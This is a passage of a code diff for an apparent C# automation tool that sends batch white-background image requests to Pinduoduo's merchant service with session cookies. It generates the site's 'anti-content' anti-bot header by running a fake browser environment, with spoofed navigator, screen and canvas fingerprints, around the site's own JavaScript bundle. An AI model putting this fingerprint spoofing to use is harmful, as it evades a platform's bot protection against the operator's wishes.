true, datax, Shop.Cookies); + if (html.Contains("\"success\":true")) + { + if (!WhiteBaseMap.ShopCount.ContainsKey(Shop.ShopName)) + { + WhiteBaseMap.ShopCount.Add(Shop.ShopName, 1); + } + else + { + WhiteBaseMap.ShopCount[Shop.ShopName] = WhiteBaseMap.ShopCount[Shop.ShopName] + 1; + } + WhiteMapObject white = new WhiteMapObject(); + white.shopName = Shop.ShopName; + white.setWhiteCount = WhiteBaseMap.ShopCount[Shop.ShopName]; + white.message = "设置白底图成功。"; + WhiteBaseMap.whiteMapObjectList.Add(white); + + } + else + { + WhiteMapObject white = new WhiteMapObject(); + white.shopName = Shop.ShopName; + white.message = "设置白底图失败。"; + WhiteBaseMap.whiteMapObjectList.Add(white); + } + Thread.Sleep(2000); + } + } + } + } + private static string ReadResponse(HttpWebResponse response) + { + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress); + } + + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8)) + { + return streamReader.ReadToEnd(); + } + } + } + private bool Request_aid_pinduoduo_com(out HttpWebResponse response, string body, string cookies) + { + response = null; + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://aid.pinduoduo.com/api/banner-intelligent/matting/batch"); + //Set request headers. + request.KeepAlive = true; + request.Headers.Add("Origin", @"https://aid.pinduoduo.com"); + request.Headers.Add("anti-content", UploadPinduoduoMain.AntiContent); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36"; + request.ContentType = "application/json"; + request.Accept = "*/*"; + request.Referer = "https://aid.pinduoduo.com/tools/matting?origin=goods_material"; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + request.Headers.Set(HttpRequestHeader.Cookie, cookies); + request.Method = "POST"; + request.ServicePoint.Expect100Continue = false; + //request.ContinueTimeout = 5000; + byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body); + request.ContentLength = postBytes.Length; + Stream stream = request.GetRequestStream(); + stream.Write(postBytes, 0, postBytes.Length); + stream.Close(); + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else return false; + } + catch (Exception ex) + { + if (response != null) response.Close(); + return false; + } + return true; + } + public static int GetUnixSecondTimeStamp(DateTime dt) + { + DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1)); + return (int)(dt - startTime).TotalSeconds; + } + + public static string GetAntiContent0ao_v2(string sUserAgent = "") + { + string sAntiContent = string.Empty; + using (V8JsEngine v8JsEngine = new V8JsEngine()) + { + v8JsEngine.Execute(PinDuoDuo_0aoNew); + sAntiContent = (string)v8JsEngine.CallFunction("getAntiContent", sUserAgent); + } + return sAntiContent; + + } + #region 定义 + public static string PinDuoDuo_0aoNew = @"(function () { + /*说明在之前已经定义了*/ + if (this.document) return; + var fun = function () { return window.canvas; }, + url = ""https://www.baidu.com""; //这边可以改成自己的网址 + window = self = this; + /*定义部分window常量*/ + window.screen = { + availHeight: 693, + availLeft: 0, + availTop: 0, + availWidth: 1291, + colorDepth: 24, + height: 727, + orientation: { + angle: 0, + type: ""landscape-primary"", + onchange: null, + angle: fun, + lock: fun, + onchange: fun, + type: fun, + unlock: fun + }, + pixelDepth: 24, + width: 1291 + }; + window.navigator = { + appCodeName: ""Mozilla"", + appName: ""Netscape"", + appVersion: ""5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36"", + bluetooth: {}, + clipboard: {}, + connection: { + onchange: null, + effectiveType: ""4g"", + rtt: 100, + downlink: 10, + saveData: false, + addEventListener: fun, + dispatchEvent: fun, + removeEventListener: fun + }, + cookieEnabled: true, + credentials: {}, + deviceMemory: 8, + doNotTrack: null, + geolocation: {}, + hardwareConcurrency: 12, + keyboard: {}, + language: ""en-US"", + languages: [""en-US"", ""en"", ""zh"", ""zh-CN""], + locks: {}, + maxTouchPoints: 0, + mediaCapabilities: {}, + mediaDevices: { + ondevicechange: null + }, + mediaSession: { + metadata: null, + playbackState: ""none"" + }, + mimeTypes: {}, + onLine: true, + permissions: {}, + platform: ""Win32"", + plugins: [{}, {}, {}], + presentation: { + receiver: null, + defaultRequest: null + }, + product: ""Gecko"", + productSub: ""20030107"", + serviceWorker: { + ready: {}, + controller: null, + oncontrollerchange: null, + onmessage: null + }, + storage: {}, + usb: { + onconnect: null, + ondisconnect: null + }, + userActivation: { + hasBeenActive: true, + isActive: true + }, + userAgent: ""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36"", + vendor: ""Google Inc."", + vendorSub: """", + webkitPersistentStorage: {}, + webkitTemporaryStorage: {}, + ancestorOrigins: [], + bluetooth: fun, + clipboard: fun, + connection: fun, + cookieEnabled: fun, + credentials: fun, + deviceMemory: fun, + doNotTrack: fun, + geolocation: fun, + getBattery: fun, + getGamepads: fun, + getUserMedia: fun, + hardwareConcurrency: fun, + javaEnabled: fun, + keyboard: fun, + locks: fun, + maxTouchPoints: fun, + mediaCapabilities: fun, + mediaDevices: fun, + mediaSession: fun, + mimeTypes: fun, + onLine: fun, + permissions: fun, + presentation: fun, + registerProtocolHandler: fun, + requestMIDIAccess: fun, + requestMediaKeySystemAccess: fun, + sendBeacon: fun, + serviceWorker: fun, + storage: fun, + unregisterProtocolHandler: fun, + usb: fun, + userActivation: fun, + vibrate: fun, + webkitGetUserMedia: fun, + webkitPersistentStorage: fun, + webkitTemporaryStorage: fun + }; + window.style = {}; + window.screenLeft = 0; + window.screenTop = 0; + window.outerWidth = 1549; + window.outerHeight = 831; + window.innerWidth = 1550; + window.innerHeight = 729; + /*定义部分document常量*/ + (function () { + var i; + for (i = 0; i < 2; i++) + window.document = { + createElement: function (e) { + return window.canvas + }, + addEventListener: function () { + log(""[addEventListener]被调用"") + }, + removeEventListener: function () { + log(""[removeEventListener]被调用"") + }, + append: function () { + log(""[append]被调用"") + }, + appendChild: function () { + log(""[appendChild]被调用"") + }, + removeChild: function () { + log(""[removeChild]被调用"") + }, + replaceChild: function () { }, + getElementById: function () { }, + getElementsByClassName: function () { }, + getElementsByName: function () { }, + getElementsByTagName: function () { }, + getElementsByTagNameNS: function () { }, + dispatchEvent: function () { }, + getRootNode: function () { + return window.document + }, + body: window.document, + hidden: false, + fonts: { + onloading: null, + onloadingdone: null, + onloadingerror: null + }, + head: {}, + URL: url, + alinkColor: """", + all: new Array(17), + anchors: [], + applets: [], + baseURI: url, + bgColor: """", + characterSet: ""GBK"", + charset: ""GBK"", + childElementCount: 1, + childNodes: [ + [], + [] + ], + children: [], + compatMode: ""CSS1Compat"", + contentType: ""text/html"", + cookie: """", + designMode: ""off"", + dir: """", + documentURI: url, + domain: """", + documentElement: { + clientHeight: 952, + clientWidth: 1937, + getAttribute: function () { + return null + } + }, + referrer: url + }; + })(); + window.addEventListener = document.addEventListener; + window.removeEventListener = document.removeEventListener; + window.location = { + ancestorOrigins: { + length: 0, + contains: fun, + item: fun + }, + assign: fun, + hash: """", + host: url, + hostname: url, + href: url, + origin: url, + pathname: url, + port: """", + protocol: ""https:"", + reload: fun, + replace: fun, + search: url, + toString: fun + } + /*使对象无法被修改*/ + Object.defineProperty && Object.defineProperty(this, ""document"", { + value: this.document, + writable: false + }); + Object.defineProperty && Object.defineProperty(window, ""navigator"", { + value: window.navigator, + writable: false + }); + /*定义canvas元素对象*/ + try { + window.canvas = { + accessKey: """", + assignedSlot: null, + attributeStyleMap: { + size: 0, + append: fun, + clear: fun, + 'delete': fun, + 'set': fun + }, + attributes: { + length: 0 + }, + autocapitalize: """", + baseURI: location.href, + childElementCount: 0, + childNodes: [], + children: [], + classList: [], + className: """", + clientHeight: 0, + clientLeft: 0, + clientTop: 0, + clientWidth: 0, + contentEditable: ""inherit"", + dataset: {}, + dir: """", + draggable: false, + elementTiming: """", + enterKeyHint: """", + firstChild: null, + firstElementChild: null, + height: 150, + hidden: false, + id: """", + innerHTML: """", + innerText: """", + inputMode: """", + isConnected: false, + isContentEditable: false, + lang: """", + lastChild: null, + lastElementChild: null, + localName: ""canvas"", + namespaceURI: ""http://www.w3.org/1999/xhtml"", + nextElementSibling: null, + nextSibling: null, + nodeName: ""CANVAS"", + nodeType: 1, + nodeValue: null, + nonce: """", + offsetHeight: 0, + offsetLeft: 0, + offsetParent: null, + offsetTop: 0, + offsetWidth: 0, + onabort: null, + onauxclick: null, + onbeforecopy: null, + onbeforecut: null, + onbeforepaste: null, + onblur: null, + oncancel: null, + oncanplay: null, + oncanplaythrough: null, + onchange: null, + onclick: null, + onclose: null, + oncontextmenu: null, + oncopy: null, + oncuechange: null, + oncut: null, + ondblclick: null, + ondrag: null, + ondragend: null, + ondragenter: null, + ondragleave: null, + ondragover: null, + ondragstart: null, + ondrop: null, + ondurationchange: null, + onemptied: null, + onended: null, + onerror: null, + onfocus: null, + onformdata: null, + onfullscreenchange: null, + onfullscreenerror: null, + ongotpointercapture: null, + oninput: null, + oninvalid: null, + onkeydown: null, + onkeypress: null, + onkeyup: null, + onload: null, + onloadeddata: null, + onloadedmetadata: null, + onloadstart: null, + onlostpointercapture: null, + onmousedown: null, + onmouseenter: null, + onmouseleave: null, + onmousemove: null, + onmouseout: null, + onmouseover: null, + onmouseup: null, + onmousewheel: null, + onpaste: null, + onpause: null, + onplay: null, + onplaying: null, + onpointercancel: null, + onpointerdown: null, + onpointerenter: null, + onpointerleave: null, + onpointermove: null, + onpointerout: null, + onpointerover: null, + onpointerrawupdate: null, + onpointerup: null, + onprogress: null, + onratechange: null, + onreset: null, + onresize: null, + onscroll: null, + onsearch: null, + onseeked: null, + onseeking: null, + onselect: null, + onselectionchange: null, + onselectstart: null, + onstalled: null, + onsubmit: null, + onsuspend: null, + ontimeupdate: null, + ontoggle: null, + onvolumechange: null, + onwaiting: null, + onwebkitfullscreenchange: null, + onwebkitfullscreenerror: null, + onwheel: null, + outerHTML: """", + outerText: """", + ownerDocument: document, + parentElement: null, + parentNode: null, + part: [], + prefix: null, + previousElementSibling: null, + previousSibling: null, + scrollHeight: 0, + scrollLeft: 0, + scrollTop: 0, + scrollWidth: 0, + shadowRoot: null, + slot: """", + spellcheck: true, + alignContent: """", + alignItems: """", + alignSelf: """", + alignmentBaseline: """", + all: """", + + tabIndex: -1, + tagName: ""CANVAS"", + textContent: """", + title: """", + translate: true, + width: 300, + getContext: function () { + fun(); + return { + canvas: canvas, + direction: ""ltr"", + fillStyle: ""#000000"", + filter: ""none"", + font: ""10px sans-serif"", + globalAlpha: 1, + globalCompositeOperation: ""source-over"", + imageSmoothingEnabled: true, + imageSmoothingQuality: ""low"", + lineCap: ""butt"", + lineDashOffset: 0, + lineJoin: ""miter"", + lineWidth: 1, + miterLimit: 10, + shadowBlur: 0, + shadowColor: ""rgba(0, 0, 0, 0)"", + shadowOffsetX: 0, + shadowOffsetY: 0, + strokeStyle: ""#000000"", + textAlign: ""start"", + textBaseline: ""alphabetic"", + arc: fun, + arcTo: fun, + beginPath: fun, + bezierCurveTo: fun, + clearRect: fun, + clip: fun, + closePath: fun, + createImageData: fun, + createLinearGradient: fun, + createPattern: fun, + createRadialGradient: fun, + drawFocusIfNeeded: fun, + drawImage: fun, + ellipse: fun, + fill: fun, + fillRect: fun, + fillText: fun, + getContextAttributes: fun, + getImageData: fun, + getLineDash: fun, + getTransform: fun, + isPointInPath: fun, + isPointInStroke: fun, + lineTo: fun, + measureText: fun, + moveTo: fun, + putImageData: fun, + quadraticCurveTo: fun, + rect: fun, + resetTransform: fun, + restore: fun, + rotate: fun, + save: fun, + scale: fun, + setLineDash: fun, + setTransform: fun, + stroke: fun, + strokeRect: fun, + strokeText: fun, + transform: fun, + translate: fun, + toBlob: fun, + toDataURL: function () { + debugger; /*根据需要返回*/ + return ""data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAACWCAYAAABkW7XSAAAEYklEQVR4Xu3UAQkAAAwCwdm/9HI83BLIOdw5AgQIRAQWySkmAQIEzmB5AgIEMgIGK1OVoAQIGCw/QIBARsBgZaoSlAABg"" + }, + transferControlToOffscreen: function () { + return { + height: 150, + width: 300, + convertToBlob: fun, + getContext: canvas.getContext, + transferToImageBitmap: fun + } + } + } + } + }; + } catch (e) { + log(""[canvas]创建类canvas出现了点问题 "" + e); + } + /*定义localStorage sessionStorage函数*/ + ; + (function () { + var cache = {}; + function e() { + this.length = 0 + } + e.prototype = { + clear: function () { + cache = {}; + }, + getItem: function (e) { + return cache[e] + }, + key: function (e) { + var o = 0; + for (var i in cache) { + if (o++ == e) return i + } + return undefined + }, + removeItem: function (e) { + delete cache[e] + }, + setItem: function (e, t) { + cache[e] = t + } + } + Object.prototype.__defineGetter__ && e.prototype.__defineGetter__(""length"", function () { + var o = 0; + for (var i in cache) o++; + return o + }); + this.localStorage = this.localStorage || new e; + this.sessionStorage = this.sessionStorage || new e + })(); + function log() { + this.console && this.console.log && console.log.apply(this, arguments); + } +})(); + + +this.setTimeout || (this.setTimeout = this.setInterval = function (fun) { + if (this.Promise) { + /*有Promise对象 那么可以实现异步*/ + new Promise(function (r) { + r(fun) + }).then(function (fun) { + fun(); + }) + } else { + /*只能同步执行了*/ + fun() + } +}, this.setImmediate = this.clearTimeout = this.clearImmediate = this.clearInterval = function () { }); + + +! function(e) { + function t(t) { + for (var n, o, u = t[0], i = t[1], f = t[2], l = 0, s = []; l < u.length; l++) + o = u[l], + a[o] && s.push(a[o][0]), + a[o] = 0; + for (n in i) + Object.prototype.hasOwnProperty.call(i, n) && (e[n] = i[n]); + for (d && d(t); s.length;) + s.shift()(); + return c.push.apply(c, f || []), + r() + } + + function r() { + for (var e, t = 0; t < c.length; t++) { + for (var r = c[t], n = !0, o = 1; o < r.length; o++) { + var i = r[o]; + 0 !== a[i] && (n = !1) + } + n && (c.splice(t--, 1), + e = u(u.s = r[0])) + } + return e + } + var n = {}, + o = { + 1: 0 + }, + a = { + 1: 0 + }, + c = []; + + function u(t) { + if (n[t]) + return n[t].exports; + var r = n[t] = { + i: t, + l: !1, + exports: {} + }; + return e[t].call(r.exports, r, r.exports, u), + r.l = !0, + r.exports + } + __webpack_require__ = u; + u.o = function(e, t) { + return Object.prototype.hasOwnProperty.call(e, t) + }, + u.p = ""https://static.yangkeduo.com/"", + u.oe = function(e) { + throw console.error(e), + e + }; + var i = window.webpackJsonpForReact = window.webpackJsonpForReact || [], + f = i.push.bind(i); + i.push = t, + i = i.slice(); + for (var l = 0; l < i.length; l++) + t(i[l]); + var d = f; + r() +}([]);; +(window.webpackJsonpForReact = window.webpackJsonpForReact || []).push([ + [0], { + ""+8Fq"": function(e, t, n) { + ""use strict""; + var r = n(""kk8N""), + a = n(""xnWZ""), + i = n(""jo6Y""), + o = n.n(i), + s = n(""QbLZ""), + c = n.n(s), + u = n(""iCc5""), + l = n.n(u), + p = n(""FYw3""), + d = n.n(p), + h = n(""mRg0""), + f = n.n(h), + m = n(""q1tI""), + g = n.n(m), + v = n(""i8i4""), + _ = n.n(v), + b = n(""TSYQ""), + y = n.n(b), + w = n(""weMy""), + S = function(e) { + function t() { + var n, r, a; + l()(this, t); + for (var i = arguments.length, o = Array(i), s = 0; s < i; s++) + o[s] = arguments[s]; + return n = r = d()(this, e.call.apply(e, [this].concat(o))), + r.close = function() { + r.clearCloseTimer(), + r.props.onClose && r.props.onClose() + }, + r.startCloseTimer = function() { + r.props.duration && (r.closeTimer = setTimeout(function() { + r.close() + }, 1e3 * r.props.duration)) + }, + r.clearCloseTimer = function() { + r.closeTimer && (clearTimeout(r.closeTimer), + r.closeTimer = null) + }, + a = n, + d()(r, a) + } + return f()(t, e), + t.prototype.componentDidMount = function() { + this.startCloseTimer() + }, + t.prototype.componentDidUpdate = function(e) { + this.props.duration !== e.duration && this.restartCloseTimer() + }, + t.prototype.componentWillUnmount = function() { + this.clearCloseTimer() + }, + t.prototype.restartCloseTimer = function() { + this.clearCloseTimer(), + this.startCloseTimer() + }, + t.prototype.render = function() { + var e = this.props, + t = e.msg, + n = e.iconType, + r = (e.prefixCls, + e.containerClass), + a = e.textClass, + i = e.html, + o = y()(r, ""content"", { + ""content-icon"": n + }), + s = y()(a, { + ""content-info"": n, + ""content-info-text"": !n + }); + return g.a.createElement(""div"", { + className: ""wrap"" + }, g.a.createElement(""div"", { + className: o + }, n && g.a.createElement(w.a, { + type: n, + className: ""toast-icon"" + }), i ? g.a.createElement(""div"", { + className: s, + dangerouslySetInnerHTML: { + __html: t + } + }) : g.a.createElement(""div"", { + className: s + }, t))) + }, + t + }(m.Component), + C = 0, + A = Date.now(); + var I = function(e) { + function t(n) { + l()(this, t); + var r = d()(this, e.call(this, n)); + return r.add = function(e) { + var t = e.key = e.key || ""pdd_toast_"" + A + ""_"" + C++; + r.setState(function(n) { + var r = n.notices, + a = r.map(function(e) { + return e.key + }).indexOf(t), + i = void 0; + return -1 === a ? i = r.concat(e) : (i = r.concat()).splice(a, 1, e), { + notices: i + } + }) + }, + r.remove = function(e) { + r.setState(function(t) { + return { + notices: t.notices.filter(function(t) { + return t.key !== e + }) + } + }) + }, + r.state = { + notices: [] + }, + r + } + return f()(t, e), + t.prototype.render = function() { + var e, t = this, + n = this.props, + r = this, + a = this.state.notices.map(function(e) { + var a = r.createChainedFunction(t.remove.bind(t, e.key), e.onClose); + return g.a.createElement(S, c()({ + prefixCls: n.prefixCls + }, e, { + onClose: a + }), e.msg) + }), + i = y()(((e = {})[n.prefixCls] = 1, + e[n.className] = !!n.className, + e)); + return g.a.createElement(""div"", { + className: i, + style: n.style + }, a) + }, + t.prototype.createChainedFunction = function() { + var e = [].slice.call(arguments, 0); + return 1 === e.length ? e[0] : function() { + for (var t = 0; t < e.length; t++) + e[t] && e[t].apply && e[t].apply(this, arguments) + } + }, + t + }(m.Component); + I.newInstance = function(e, t) { + var n = e || {}, + r = o()(n, []), + a = document.createElement(""div""); + document.body.appendChild(a); + var i = !1; + _.a.render(g.a.createElement(I, c()({}, r, { + ref: function(e) { + i || (i = !0, + t({ + notice: function(t) { + e.add(t) + }, + removeNotice: function(t) { + e.remove(t) + }, + component: e, + destroy: function() { + _.a.unmountComponentAtNode(a), + a.parentNode.removeChild(a) + } + })) + } + })), a) + }; + var k = I, + E = (n(""8V/m""), + void 0), + T = ""dui-toast""; + + function N(e, t) { + if (!e) + return !1; + var n = t.iconType, + r = t.duration, + a = void 0 === r ? 2 : r, + i = t.onClose, + o = t.mask, + s = void 0 !== o && o, + c = t.containerClass, + u = void 0 === c ? """" : c, + l = t.textClass, + p = void 0 === l ? """" : l, + d = t.html, + h = void 0 !== d && d; + ! function(e, t) { + E && (E.destroy(), + E = null); + var n = e ? ""mask"" : ""nomask""; + k.newInstance({ + prefixCls: T, + style: {}, + className: n + }, function(e) { + t && t(e) + }) + }(s, function(t) { + E = t, + t.notice({ + duration: a, + msg: e, + iconType: n, + containerClass: u, + textClass: p, + html: h, + onClose: function() { + i && i(), + t.destroy(), + t = null, + E = null + } + }) + }) + } + var x = {}; + x = { + info: function(e) { + var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {}; + if (!a.b.isCallNativeNotification()) + return N(e, t); + r.a.callNative(""JSAlert"", ""toast"", { + message: e + }, function() { + setTimeout(function() { + t.onClose && t.onClose() + }, 2e3) + }, function() { + return N(e, t) + }) + }, + success: function(e) { + var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {}; + return t.iconType = ""icon-success"", + N(e, t) + }, + fail: function(e) { + var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {}; + return t.iconType = ""icon-icon_refresh_failed"", + N(e, t) + }, + show: function(e) { + return N(e, arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {}) + }, + html: function(e) { + var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {}; + return t.html = !0, + N(e, t) + }, + hide: function() { + E && (E.destroy(), + E = null) + } + }; + t.a = x + }, + ""+aNZ"": function(e, t, n) { + ""use strict""; + n.d(t, ""a"", function() { + return c + }), + n.d(t, ""b"", function() { + return u + }); + var r = n(""cDf5""), + a = n.n(r), + i = n(""F19C""), + o = n(""uSI5""); + + function s(e) { + Object(i.a)(!!e, ""nullJson""), + Object(i.a)(""string"" == typeof e.salt && e.salt.startsWith(""cp""), ""abFormatInvalidSalt""), + Object(i.a)(""number"" == typeof e.bucketCount, ""abFormatInvalidBucketCount""), + Object(i.a)(!!e.models && ""object"" === a()(e.models), ""abFormatInvalidModels"") + } + var c = { + Default: function(e) { + return e + }, + ABTest: { + normal: function(e, t) { + var n = (t = t || {}).identity ? t.identity.uid : 0, + r = null; + try { + r = ""string"" == typeof e ? JSON.parse(e) : e + } catch (e) { + throw new Error(""invalidJsonFormat1"") + } + return s(r), + o.a.getTestStrategy(r, n, !1) + }, + fallback: function(e) { + var t = null; + if (""string"" == typeof e) + try { + t = JSON.parse(e) + } catch (e) { + throw new Error(""invalidJsonFormat2"") + } else + t = e; + return s(t), + Object.keys(t.models).forEach(function(e) { + t.models[e] = { + blackList: [], + whiteList: [], + buckets: t.models[e].buckets + } + }), + t + } + } + }; + + function u(e) { + var t = e.leoKey, + n = e.formatter, + r = e.csrFallback, + o = c.Default; + if (""object"" === a()(n) && n) { + var s = ""function"" == typeof n.normal, + u = ""function"" == typeof n.fallback; + Object(i.a)(s && u, ""[leoKey="".concat(t, ""'] both normal and fallback methods needed"")), + o = r ? n.fallback : n.normal + } else + ""function"" == typeof n && (o = n); + return o + } + }, + ""+zrp"": function(e, t, n) { + ""use strict""; + var r = n(""lwsE""), + a = n.n(r), + i = n(""W8MJ""), + o = n.n(i), + s = n(""a1gu""), + c = n.n(s), + u = n(""Nsbk""), + l = n.n(u), + p = n(""7W2i""), + d = n.n(p), + h = n(""q1tI""), + f = n.n(h), + m = n(""b5fu""), + g = function(e) { + function t(e) { + var n; + return a()(this, t), (n = c()(this, l()(t).call(this, e))).checkboxSelected = !1, + n.state = { + display: ""none"" + }, + n + } + return d()(t, e), + o()(t, [{ + key: ""clickConfirm"", + value: function(e) { + e && (e.stopPropagation(), + e.preventDefault()), + this.props.notHide || this.setState({ + display: ""none"" + }), + this.ui.enableScroll(), + m.a.call(this.props.confirmCallback, this.state.checkboxSelected) + } + }, { + key: ""clickCancel"", + value: function(e) { + e && (e.stopPropagation(), + e.preventDefault()), + this.props.notHide || this.setState({ + display: ""none"" + }), + this.ui.enableScroll(), + m.a.call(this.props.cancelCallback, this.state.checkboxSelected) + } + }, { + key: ""closeDialog"", + value: function(e) { + e && (e.stopPropagation(), + e.preventDefault()), + this.props.notHide || this.setState({ + display: ""none"" + }), + this.ui.enableScroll() + } + }, { + key: ""clickHide"", + value: function(e, t) { + t && (t.stopPropagation(), + t.preventDefault()), + ""bg"" === e && this.props.clickBgDisabled || (this.setState({ + display: ""none"" + }), + this.ui.enableScroll(), + m.a.call(this.props.hideCallback, this.state.checkboxSelected)) + } + }, { + key: ""clickCheckbox"", + value: function(e) { + e && (e.stopPropagation(), + e.preventDefault()); + var t = this.state.checkboxSelected; + this.setState({ + checkboxSelected: !t + }) + } + }, { + key: ""componentDidMount"", + value: function() { + this.setState({ + display: """" + }), + this.ui = n(""u/J7""), + this.ui.disableScroll() + } + }, { + key: ""render"", + value: function() { + return f.a.createElement(""div"", null) + } + }, { + key: ""show"", + value: function() { + this.setState({ + display: ""none"" + }), + this.ui.enableScroll() + } + }]), + t + }(f.a.Component); + t.a = g + }, + ""/O6k"": function(e, t, n) { + ""use strict""; + var r = n(""n2/S""), + a = n(""b5fu""), + i = n(""ouH+""), + o = n(""ii9O""); + t.a = { + apiRequest: function(e, t, n, s, c, u, l, p, d, h) { + var f = arguments.length > 10 && void 0 !== arguments[10] ? arguments[10] : {}; + a.a.call(r.a.apiRequest, e, t, n, s, c, u, l, p, d, h, f), + document.eventList || (document.eventList = {}), + document.eventList.FORCE_LOGIN || (document.eventList.FORCE_LOGIN = !0, + document.addEventListener(""FORCE_LOGIN"", function(e) { + i.a.login(null, null, null, function() { + o.a.back() + }) + })), + document.eventList.RISK_CONTROL || (document.eventList.RISK_CONTROL = !0, + document.addEventListener(""RISK_CONTROL"", function(e) { + var t = (e.detail || {}).verifyAuthToken || 0; + o.a.forward(""psnl_verification.html?VerifyAuthToken="" + t) + })) + } + } + }, + ""/vAr"": function(e, t, n) { + var r = n(""204Y""); + ""string"" == typeof r && (r = [ + [e.i, r, """"] + ]); + var a = { + transform: void 0 + }; + n(""aET+"")(r, a); + r.locals && (e.exports = r.locals) + }, + ""003K"": function(e, t, n) { + ""use strict""; + var r = n(""MVZn""), + a = n.n(r), + i = n(""lwsE""), + o = n.n(i), + s = n(""W8MJ""), + c = n.n(s), + u = n(""hCBO""), + l = n(""Fcpp""), + p = n(""mj+i""), + d = n(""0P1e""), + h = [""118.25.117.206"", ""118.25.118.225""]; + + function f(e, t) { + return h.indexOf(t) > -1 ? e : function(e, t) { + var n = e ? Object(p.e)(e) : {}; + return ""?"".concat(Object(p.b)(a()({}, n, {}, t))) + }(e, { + host: t + }) + } + + function m() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : """", + t = document.createElement(""a""); + return t.href = e, + t.protocol = ""http:"", + t.search = f(t.search, t.host), + t.host = function(e) { + var t = h.filter(function(t) { + return t !== e + }); + return t[Math.floor(Math.random() * t.length)] + }(t.host), + t.href + } + + function g(e) { + return parseInt(e.dataset.retryCount, 10) || 0 + } + + function v(e) { + var t = e.src; + ! function(e) { + var t = e.errorMsg, + n = e.payload, + r = { + op: ""real_error"", + page_url: location.href, + error_msg: t, + payload: n + }; + Object(d.a)().then(function(e) { + r.network = e, + l.a.trackingRecord(r) + }) + }({ + errorMsg: function(e) { + var t = g(e); + return t ? ""lazy_image_error_retry_"".concat(t) : ""lazy_image_error"" + }(e), + payload: { + src: t + } + }) + } + n.d(t, ""a"", function() { + return b + }), + n(""Wr5T""); + var _ = ""data-was-processed""; + var b = function() { + function e() { + var t = this, + r = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + o()(this, e); + var i = n(""HToz""), + s = a()({}, u.b, { + thresholds: r.thresholds || u.b.thresholds, + callback_error: function(e) { + v(e), + t._retry(e) + } + }); + r.container && (s.container = r.container), + this._lazyLoad = new i(s, []) + } + return c()(e, [{ + key: ""start"", + value: function(e) { + var t = e.el, + n = e.src; + this._start({ + el: t, + src: n, + retryCount: 0 + }) + } + }, { + key: ""destroy"", + value: function() { + this._lazyLoad && function(e) { + e._observer && (e._elements.forEach(function(t) { + e._observer.unobserve(t) + }), + e._observer = null) + }(this._lazyLoad) + } + }, { + key: ""_start"", + value: function(e) { + var t = e.el, + n = e.src, + r = e.retryCount; + ! function(e) { + e.classList.remove(""error""), + e.removeAttribute(_) + }(t), + t.dataset.src = n, + t.dataset.retryCount = r, + this._lazyLoad && this._lazyLoad.update([t]) + } + }, { + key: ""_retry"", + value: function(e) { + var t = this, + n = g(e); + n >= 3 || setTimeout(function() { + t._start({ + el: e, + src: m(e.src), + retryCount: n + 1 + }) + }, 400 * n) + } + }]), + e + }() + }, + ""0Dta"": function(e, t, n) { + ""use strict""; + n.d(t, ""c"", function() { + return g + }), + n.d(t, ""a"", function() { + return _ + }), + n.d(t, ""b"", function() { + return b + }); + var r = n(""MVZn""), + a = n.n(r), + i = n(""8wto""), + o = n(""GoyQ""), + s = n.n(o), + c = n(""Znm+""), + u = n.n(c), + l = /\/\/([\w+.]+)\//; + var p = /(t\d+img|testimg|img1|pinduoduoimg)\.yangkeduo\.com|images.pinduoduo.com/; + + function d(e) { + return function(e) { + return (e.match(l) || [])[1] || """" + }(e).match(p) + } + var h = /\/image\/(.+?)\//; + var f = function(e) { + var t = e.watermark, + n = e.width; + if (!n) + return t; + var r = function(e) { + var t = h.exec(e); + return t && t[1] + }(t); + if (!r) + return t; + var a = Object(i.a)(r) + ""?imageMogr2/thumbnail/"".concat(n, ""x""), + o = Object(i.b)(a); + return t.replace(r, o) + }; + + function m(e) { + var t = e.strip, + n = e.sharpen, + r = e.thumbnail, + a = e.radius, + i = e.sigma, + o = []; + return n && o.push(""/sharpen/"".concat(n)), + t && o.push(""/strip""), + a && i && o.push(""/blur/"".concat(a, ""x"").concat(i)), + r && r.width && o.push(""/thumbnail/"".concat(r.width, ""x"")), + o.length ? ""imageMogr2"".concat(o.join("""")) : """" + } + + function g(e) { + return e.replace(/^http:\/\//, ""https://"") + } + var v = { + resizeWidth: 1300, + quality: 80, + strip: !0 + }, + _ = function(e) { + var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : v; + e = e || """"; + var n = a()({}, t, { + sharpen: function(e) { + return u()(e) ? 70 : e + }(t.sharpen), + prefitWidth: function(e) { + return u()(e) && e ? 400 : e + }(t.prefitWidth), + watermark: function(e) { + var t = s()(e) ? e : { + image: e + }; + return a()({}, t, { + blogo: 2 + }) + }(t.watermark), + blur: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = e.radius, + n = e.sigma; + return (t || n) && (n = n || 1, + t = t || 1), { + radius: t, + sigma: n + } + }(t.blur) + }); + return d(e) ? (e.indexOf("".gif"") >= 